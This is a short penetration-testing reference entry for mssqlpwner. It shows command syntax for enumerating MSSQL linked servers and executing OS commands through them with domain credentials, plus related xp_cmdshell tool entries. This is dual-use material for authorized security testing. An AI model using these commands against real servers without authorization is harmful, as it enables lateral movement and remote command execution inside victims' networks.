MSSQLPwner Linked Server Abuse

Enumerate and abuse MSSQL linked servers for lateral movement

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated April 10, 2026

Tool: mssqlpwner
Category: Lateral Movement / MSSQL
Platform: linux
Requires: password
Protocols: MSSQL

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

mssqlpwner '<domain>/<user>:<password>'@<ip> -windows-auth enumerate

Credential variants

The same attack using a different authentication material.

Execute Command requires password

mssqlpwner '<domain>/<user>:<password>'@<ip> -windows-auth exec -command 'whoami'

Examples

mssqlpwner 'corp.local/user:password'@192.168.1.56 -windows-auth enumerate

mssqlpwner 'corp.local/user:password'@192.168.1.56 -windows-auth exec -command 'whoami'

Tags

mssqlpwner mssql linked-server lateral-movement enumeration

Impacket MSSQLClient Interactive MSSQL shell for command execution and database access
NetExec MSSQL Command Exec Execute OS commands through MSSQL — auto-enables xp_cmdshell if disabled and the account…
NetExec MSSQL Enable CmdShell Enable xp_cmdshell on a MSSQL server for OS command execution
NetExec MSSQL Linked Servers Enumerate MSSQL linked servers for lateral movement opportunities
NetExec MSSQL Privilege Check Enumerate and escalate MSSQL server privileges (sysadmin, impersonation, linked servers)
NetExec MSSQL xp_cmdshell Execute OS commands via MSSQL xp_cmdshell using NetExec